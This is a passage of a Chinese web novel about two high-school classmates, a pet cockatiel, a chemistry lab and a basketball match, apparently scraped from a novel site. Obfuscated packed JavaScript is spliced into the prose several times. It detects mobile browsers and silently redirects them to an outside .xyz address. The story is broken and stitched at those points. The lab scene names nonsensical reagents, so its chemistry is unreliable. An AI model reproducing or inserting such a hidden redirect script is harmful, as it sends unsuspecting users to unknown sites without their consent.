说到遛鸟，关许衍看着展翅朝自己飞来的玄凤鹦鹉。 噗。 白衣服上多了一滩不明物体。 热的。 褐色的。 正当关许衍震惊地，小心地捏起衣服一角看清那是坨粑粑后，他猛得转头看停在他肩上的鹦鹉。 四目相对，久久无言。 玄凤偏着脑袋看他，几秒后，忽然清脆地蹦出一句:“你会说人话吗？” 关许衍捏着衣角，想生气又觉得好笑，况且对只鸟生什么气，于是面无表情道:“啾。” 旁边不远处，落后一步的鸟主人才到现场。刚好围观到关许衍面无表情地啾了一声。 想笑。 晏寒觉掐着手臂。 不行不能笑。 良心呢。 刚好，关许衍看见了他，目光立马变得杀气腾腾。 “你的鸟?” 不是，我的鸟在呢。晏寒觉双手举起:“是的。关小衍小同学您先听我说……” 然后他目光下移看见他捏着的衣服。 “咳。”晏寒觉从裤兜里掏出湿纸巾:“我帮你擦擦?” 关许衍:“准了。” 于是晏寒觉把那坨粑粑清理掉，就是白衣服上还有印子。 “我赔你一件吧。”他说。 “行。随便一件白衣服的就可以。” 晏寒觉把小玄凤召唤回去，停在手指上。他和关许衍并排走着，见他的神色还是一如既往地疲惫，于是掂掂玄凤:“大少，给这位小哥哥道歉。” 大少挺了挺胸膛。 “我错了，对不起，原谅我嘛。” 它歪头看着关许衍，飞到他面前。 “伸手，它想停你手上。”晏寒觉在旁边提醒。 关许衍张开手，大少抓住他的手指，张开翅膀:“摸一下。” “你很招小动物喜欢嘛。” “嗯……我知道。” 他有一下没一下地摸着大少，大少在他掌心轻蹭。晏寒觉看着他，没忍住，爪子欠欠地在关许衍脑袋上扒拉一下。 “……晏寒觉。” “嗯？我在。” “你弄完粑粑后是不是没有洗手。” “我擦手了！”理直气壮。 晏寒觉连蹦带跳地往前跑。他欠，面对着关许衍跑的，时不时就招惹一下。 “运动起来！”他挥挥手臂。 “看路。”关许衍说。 “这不是有你吗， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关许衍点头看他出办公室。虽然不明白为什么他不能带着他一起去，估计是要说事儿吧。 比如把他安排在哪里。 十一班的班主任是个长得特别甜的妹子，说话的声音又是御姐型的。 “我叫方恬。”班主任伸手。 “关许衍。”他礼貌性地伸手回应。 方恬挺喜欢他的，把他带出去的时候一直在小声和他说话。十一班在三楼，中间位置，带到某个班后门时，方恬示意他稍等，悄悄推开门缝往里看。 开学第一天，班上的人作业抄得飞起，倒是意外地安静。 于是方恬带着他走进班里的时候，班上甚至没什么人抬头看一眼。 方恬拍拍手，“都停下手里的事情，听我说。” 晏寒觉倒是最先抬头的，和他对上视线后就笑了，吹了声口哨。 这声口哨引起班上人的注意，再看到关许衍的时候，不少人都在惊呼。 这个年纪正是肤浅的时候。长得帅的关注度远大于成绩好的，如果这人又帅成绩又好，那么将是学生时代的绝杀。 晏寒觉转着手中的笔，油然而生一股自豪感。 看，就是这个学霸，我们开学前就认识了。不仅认识，还一块儿打过架吃过饭睡过觉的。 遥遥领先99％的人。 不过…… 十一班共五十个人，同桌式，刚刚好成双成对坐。现在多了个人，就只能安排到最后排了。 关许衍已经简洁地自我介绍完了，方恬正思考怎么给他安排位置时，就见晏寒觉举手了。 “你怎么了?” “恬姐，您上学期说要是李健期末考没有三科满分这学期就让他坐飞机位，让我们提醒您来着。”晏寒觉诚恳道。 旁边的同桌李健震惊:“我操?同桌情呢？” 班上同学哄堂大笑，纷纷应和。 方恬指了下李健:“对，李健先坐一段时间的飞机位，来。那个关许衍同学你坐晏寒觉那里。” 晏寒觉拍拍李健:“辛苦了兄弟，包你一星期零食。” “一星期零食就想打发我?”李健一瞪眼:“两星期的零食，还有奶茶。” “成交。” 于是，讲台边多了位内场vip最佳听课位置，晏寒觉有了新同桌。 关许衍坐下的时候，晏寒觉发现他眼底的青黑似乎又重了不少。 “你是不是失眠啊？”他悄声问。 “其实是我每天都在熬夜做题。”关许衍说。 晏寒觉笑着揉揉他脑袋。 “我发现你爪子很欠啊。” “学霸好辛苦。” 学霸似乎没有学霸的觉悟，因为这一早上他都在闷头睡，课本刚领的崭新干净。唯一让人觉得稍微有那么点学霸的样子是，每次课上老师喊他起来回答问题都能知道在哪。 “我们学霸就是能一心多用。”关许衍如此解释。 其实晏寒觉知道他根本没睡，就那么趴着。 想睡睡不着吧，怪不得总是那么疲惫。 学霸不好当啊。他感叹。 因为学霸上午都在睡觉，作为有素质的十一班人，大家都没有打扰。 中午午练的时候，关许衍终于勉强支棱起来做题了。他做题的速度很快，基本上就是看一眼就填答案了。 晏寒觉首次感受到不用脑子的快乐。 把抄完的午练交好，他心情很好地伸个懒腰，顺便戳戳关许衍的胳膊:“走啊，去我家吃饭。” “行。” 十三中管得不严，吃食堂的吃食堂，外面吃的外面吃。晏寒觉叮铃着他那辆酷炸天的单车，灵活地穿梭在人群里。 关许衍发现，晏寒觉的车技和他的车一样酷炸天。因为他骑车速度很快，但又能在车与车或者车与人之间完美擦身。 路上都是提心吊胆的。 关许衍揪紧他衣服。 但，很刺激。 离家还有一点儿距离的时候，大少扑棱扑棱地就飞过来停在晏寒觉肩上，昂首挺胸，脑袋上那一撮毛迎风飞舞。 然后开始报菜谱。 清蒸鸡、黄焖鸡、大炒鸡、香酥鸡、清蒸鸡…… 来来回回反反复复。 关许衍让他说饿了。 正当他涌起这个念头时，晏寒觉就偏头跟他说:“我靠，给我说饿了。” 关许衍往他背上拍了一掌:“看路！” “看着的，我余光一直看着。大少，唱首歌。” 大少马上开始咕叽咕叽地唱得很欢快，脑袋还一点一点的，十分有节奏感。 关许衍伸手划拉它柔光顺滑的羽毛。 大少抖抖身子，继续一路高歌。 就这么高歌回家。外婆已经做好了午饭，两菜一汤，进门的时候就鲜香扑鼻。 米饭居然是黄焖鸡米饭！ 关许衍顿时更饿了。 他主动进厨房帮忙拿碗筷，摆桌上的时候外婆一个劲儿地夸他小伙儿不愧和我家小燕是朋友，长得可帅了。 “小晏?” 外婆悄声:“是燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被某人这么一干扰，他入睡的时候身边都是两人这么来来回回地对话。以至于做梦不再是窒息的，铺天盖地做不完不会做的卷子，操作数据完全不对的实验。 而是…… 晏寒觉扶着酷炸天的单车，说，同桌，我给你跳段舞怎么样。 接着开始起舞，肢体不协调，仿佛被夺了舍。 关许衍再定睛一看，跳舞的是大少。 被大少魂穿的晏寒觉围着单车跳舞。 边舞边喊:“咕叽咕叽，咕叽咕叽……” 关许衍终于憋不住乐了出来。 6. 第 六 章 笑醒的时候已经差不多两点了，而两点半准时上课。 这是他睡过的第一次睡醒后还想接着睡的午觉。晏寒觉还没醒，整个小院都静悄悄的，偶尔传来几声狗叫。 于是他顺从自己的心意，又躺了回去。 感觉眼睛只是一睁一闭，还没来得及梦点什么的时候，他就感觉沾了水汽的微凉指尖蹭过他的脸。 接着，晏寒觉说，同桌，快醒，要迟到了。 关许衍还没来得及睁眼就要蹦下床。 结果就是砸到正站在他床边的晏寒觉身上。 “哎。”晏寒觉下意识接住他后退两步，仰了仰头。 “抱歉抱歉。”关许衍忙道。 “没事的。快走同桌，要迟到了。”晏寒觉揉了一把他的脑袋，在他反应过来前几步蹦向外面。 关许衍一看时间，两点十七。 他慌忙蹬上鞋子，踩着脚跟跑出去。晏寒觉在外面准备好了，偏头对关许衍示意:“快！” 关许衍坐上去，晏寒觉蹬着自行车就起飞了。 “现在是两点十八分。”他说:“我们掐点还有十二分钟到达，这次晏哥要挑战能否在十分钟内飞到学校。同桌，你准备好了没?” “预备——” 挑战开始！ 关许衍一开始拉的是他的车座子，但没想到晏寒觉疯起来那么猛，后头仿佛有丧尸在追赶似的，速度特别快。 周边的景物在快速后退，风鼓起他的衣服，露出一截劲瘦的腰。 有只小狗追着他们的车疯跑。 “啊——”关许衍喊:“它追上来了！” “什么什么！”晏寒觉发力继续一通狂蹬:“不允许！” 校门口一闪而过。 “晏寒觉！学校！走过了！”他吼。 “哎哎哎。”晏寒觉调转车头往回蹬，“都忘记是要去学校了。” 关许衍笑得呛了一下，连笑带咳的，挤着最后的时间进到校门，才刚开始打预备铃。 两人在车棚停车，晏寒觉下车走了几步:“骑太猛了，腿有点酸。” 两人对视。 关许衍知道自己憋不住了，他刚错开脸，就听到自己和晏寒觉同时开始狂笑。 晏寒觉边笑边搂着他，把自己挂他身上，摁着肚子:“我不行了……” 两人就这么往教学楼走，憋着笑，实在忍不住了就无声地抖，一通抖。抖到教室，已经迟到了。 而班上空无一人。 “我靠?”晏寒觉看着空荡荡的教室，震惊道:“我们居然是最早到的？” 关许衍猛地想到早上化学课代表通知的，下午第一节化学课在实验室上。 两人转身跑去实验室的时候，他悲催地听到自己和晏寒觉的笑声。 “我真是服了。” 智商呢。 不知道，可能落哪儿了吧。 “好了。”俩帅哥在一起傻笑实在是太没有面儿了，晏寒觉做了个手势:“收！” 关许衍深吸一口气，咬牙勉强绷住了。 找到实验室的时候，已经过了十分钟。化学老师谅在是第一次，放过了他们。 同桌两两一组做实验。李健很悲催地刚被前任同桌无情地踹去飞机位，只能和老师一块儿。但李健说，他可以和晏寒觉组三人小组。 于是他此刻正在最后一台实验桌边朝他俩招手。 这次化学实验不难，制作“黄金雨”。 迟到的两人没带书，李健听了跟没听似的，不知道先放哪个。 “先放个碘化钾吧？”他说，“毕竟不都是按顺序摆的嘛，这样准没错。” 晏寒觉:“万一是按相反顺序呢？我觉得先放硝酸铅。” 李健:“嘶，有道理啊。” 关许衍无声地勾勾唇角，拿起碘化钾粉末。 两人就收了音看他操作。 碘化钾加零醚，配为溶液。 脱碳甲醛、乙酸铅配为溶液。 然后混合。 点燃酒精灯。 混合的那一刻，两人都在身边发出惊叹。 直到溶液开始析出细小的黄金粉末时，关许衍才把它拿下来静置。 降温结晶。 他操作行云流水，一丝不苟，明明没带书，也能把整个实验操作出来。他动的时候，就进入了他的世界里。 安静，从容。 晏寒觉盯着他的侧脸出神。 直到李健跟没见过世面似的哇出声，他才收回思绪，掩饰般地咳了一声，对关许衍说:“你好厉害啊。” 不愧是学霸。 晶体析出沉淀，漂亮的金黄色梦幻又浪漫。这是化学反应带来的。 关许衍撑着桌子的手在轻颤。 “怎么了？”晏寒觉握着他的手捏捏。 “没什么。”他回神。 “这就是被带飞的感觉吗？爽！”因为他们组是第一个做出来的，所以李健非常嘚瑟，到处绕了一圈炫耀。 成果也被些同学参观，观完又跑回他们组加快进度。 “你很厉害。”晏寒觉说。 关许衍下意识摇头:“没有他厉害。” “不管。”晏寒觉蛮横道:“你就是厉害，他是谁我不管。” 关许衍和他对视，笑了。 “对嘛，这样就更好看了。” 在他被拉去其他组帮忙的时候，晏寒觉靠在实验桌上，摸出手机藏在桌肚里，查了个名字。 这个名字他和关许衍第一次遇到的时候就给他提过。他在输入关许的时候，搜索栏已经自动出现了这么个人名。 关许赢。 他点了进去。 一堆亮瞎人眼的词条就蹦了出来。例如跳级，参加过数学奥林匹克竞赛还得奖，十五岁被清华(求真书院)录取，接着又获过什么什么奖，有什么什么专利…… 晏寒觉想了想，去搜了桦桉中学的公众号。不意外地看到关许衍名字的文章，内容却是关许赢被他们学校邀请去做演讲，他的弟弟也是个学霸这样类似的推文。 那篇文章他没有看完。虽然内容上对这对兄弟都进行了赞扬，但他就是看不下去。 关许衍也很厉害啊，也参赛获奖了，怎么不见有词条啊。 我们学渣就是这样不讲道理。 上完这堂化学课，关许衍已经差不多能融入班级里了。于是有不少同学都加了他微信，把他拉进班级群。 晏寒觉有些略微的不爽，盯着拉关许衍进班群的女孩。虽然不懂自己为什么会不爽，但就是不爽了，不需要理由。 他俩连微信好友都没加呢，第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901064|176632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识的居然连微信都没有。 手机在裤兜里震了一下。 他拿出来一看，通讯录里跳出来新消息，有人请求添为好友。附加信息栏里填着:你同桌。 心情瞬间扬起来了，晏寒觉点了通过，备注为:关小衍。 关许衍的头像是卡通的一片金色麦田，昵称就是点行。有点抽象，其实合起来就是“衍”。 “哎，学霸。”前头有人转头回来看他同桌，挺震惊的:“学霸，你居然还有个哥哥啊？” 还没等关许衍做出反应，晏寒觉就踹了一脚他凳子:“有哥哥怎么了？你还有个爹呢。” “我有爹啊，你没爹啊。我是说，你哥……” “你爹我在这儿，儿子。”晏寒觉又踹一脚他凳子:“上课转什么头别打扰我同桌听课。” “我靠。”前桌被连踹两脚，这会儿也有脾气了:“你有病啊，我跟你同桌说话关你什么事啊！” “我同桌的事就是我的事，你就问他是不是吧。”晏寒觉嚣张看他。 关许衍点头。 “我靠。”前桌愤愤转头，“我靠。” “你再靠一个试试，别以为课堂上我就不敢揍你了。” “我靠！”前桌瞪眼。 关许衍在桌子底下拉拉他的衣服。 台上的老师拍拍讲台:“邓申！晏寒觉！你俩说够没，说够了就给我站后边儿去。” 邓申非常用力地推了把桌子，拉出刺耳的一声，书也不拿就站后面。晏寒觉本来就是最后一排的，就站在原位，也没听课，拿本漫画书就开始看。 直到关许衍给他推张字条过来 晏寒觉一打开，画的是个火柴人，上头举着谢谢俩字。 他想也不想地就画了个简笔小人回去，用红笔给简笔小人腮边涂两坨腮红，拉线条指向他，附加一个字:你。 简笔小人还系着红领巾，举道:不客气。 再传回来时，简笔人眼影有了，口红也有了，线条打了箭头指他:你。 晏寒觉勾勾嘴角，把纸条小心夹进本子里。 “老师。”邓申举手:“晏寒觉和关许行上课传纸条。” 渣渣，还关许行，字儿都看不清，还知道举报呢，小学生！ 怒火熊熊燃烧得正旺的时候，关许衍拉拉他的衣服，对着他眨眨眼。 下一秒，关许衍脸色苍白往下倒，被晏寒觉手忙脚乱地接住。 动静之大，老师刚好走到他们旁边，见状忙问:“怎么了这是?” “不舒服。” “那赶快送他去医务室，你一个人行吗？” “行的行的。” “那快去。” 晏寒觉拉着关许衍的胳膊往肩上一搭，搂着他的腰就往外走。走出教学楼，晏寒觉才往他脸上弹了弹:“关小衍同学，你可以啊，挺会演，我都被吓了一跳。” 关许衍拍掉他的手:“学霸的学习能力，膜拜吧。” “佩服死了。” 装是装的，此刻他俩谁也不想回班级。晏寒觉是听不听课都无所谓，关许衍是没有听的必要。 操场上有班级在上体育课，两人溜达着走了一圈，路过小卖部。 “我请你吃雪糕吧。”关许衍偏了偏头。 “我要两根。”晏寒觉马上说。 7. 第 七 章 下节课就是体育课。因为时间差，两人成功地占到一个好球场。球场是新建的，设备都是新的，大大地俘获那些爱篮球如命的男生的芳心。 在新球场上提前占好场地，等了一会儿陆陆续续有人来上体育课排队集合。十一班的体育老师喜欢让他们慢跑一圈，做完准备活动再解散。 关许衍本来不想跑的，被晏寒觉伸手拽去了。用他的话来说就是，这身子板太弱了，不要放过任何锻炼机会。 他们慢跑的时候，李健跟上来了，看到关许衍也跟着跑还嚯了一声。 “学霸怎么不去歇会儿啊？” “学霸就是要这样，德智体美劳任何一项都不能落下。”晏寒觉替他答。 李健竖竖拇指:“服。” 他看向新球场。这节课有三个班同上体育课。一个是高二十班，林续昼赵明尘在的班。一个是他们在的十一班，还有个班，则是高一新生。 “那新生有个刺头。”李健说，“听说刚来就立了不少威，他哥是混的。我担心抢不到好场子。” 晏寒觉倒是无所谓刺头和混子，“我已经提前占好场地了。” “那就行。”李健大喜过望，朝着他拜了一拜:“晏哥，等会儿一块儿打球哈。” 十三中共有三个篮球场。一个在室内，两个在室外。他们打球更喜欢室外一些，因为不仅能打球，还能在喜欢的女生面前小秀一把。新开的场就在室外。 但是等他们解散后，发现球场已经被占了。而占场的球则被他们打着，彼此嘻嘻哈哈的。 一众人顿时不服了，要上去理论。 新来的刺头儿刚好就在今天上课的班里，顶着头一看就是后天弄的卷毛。这让关许衍不合时宜地想起林续昼，但人家是天生的卷。 说到林续昼，必不可免地带起赵明尘。 果然，这俩也过来了。 “怎么啦怎么啦。”他过来，顺手搭着关许衍的肩膀。 “占好的球场被抢了。” 双方对峙，那后天小卷托着球，嚣张地用鼻孔看着他们:“怎么了？不是讲究先来后到吗？什么？提前占好的?哪儿呢我怎么没看到。” 后天小卷用食指托着球转了转，企图耍帅但未果，球最后差点掉到地上:“但是我今天就看上了这个场子，你们说怎么着吧。” “不怎么着。”晏寒觉说，“打一场，一比一，我和你。输了滚。” 这个样子的晏哥酷炸了。 “口气不小啊？我凭什么听你的?” 身后双方人马已经开始撸袖子了。晏寒觉往前迈了一步。他比小卷要高出一个头，论气势方面已经输了。 关许衍有些紧张，如果双方人马打起来会怎么办。 “不会怎么样的。”赵明尘看出他的紧张:“他心里有数。” “对啊。”林续昼说着已经开始笑了:“他会喊老师的。” 果不其然，晏寒觉看了看小卷，忽然偏头大喊:“老师——” 教他们班的体育老师同时也是带体育生训练的教练，晏寒觉这一嗓门把他喊过来了。整个人凶神恶煞，袖子一撸露出大块结实的肌肉:“怎么了？” 没等他开口，他们班上的人仿佛如有神助，开始七嘴八舌地说他们抢了球场，还要赶他们走。 体育老师听完后，说:“你们刚好可以凑场比赛。” “行。”十一班的人说。 后天小卷他们明显有话要说，体育老师把眼睛一瞪，袖子往上撸:“有意见?” 没有意见，于是比赛开始。 林续昼已经开始提前进入看乐子状态，拉着关许衍后退站在球场边沿。晏寒觉和班上俩男生一块儿站在球场上活动手脚，老师一指赵明尘:“你，帮忙计分。” 比赛开始。 晏寒觉小学初中时就活跃在篮球队里。他抢球盖帽儿很厉害，投篮也有准头。班上的男生应该是和他打过配合，拿到篮球就看时机传球给他。 后天小卷打得也不差，就是气性太大，被晏寒觉遛着玩了几圈后动作都开始有些急。 一急就容易犯规，犯规罚球，后天小卷明显沉不住气，手脚开始不干净了。 “哎！”关许衍有些急:“这都不吹犯规吗？” “裁判没吹的话就不算。”林续昼仍搭着他的肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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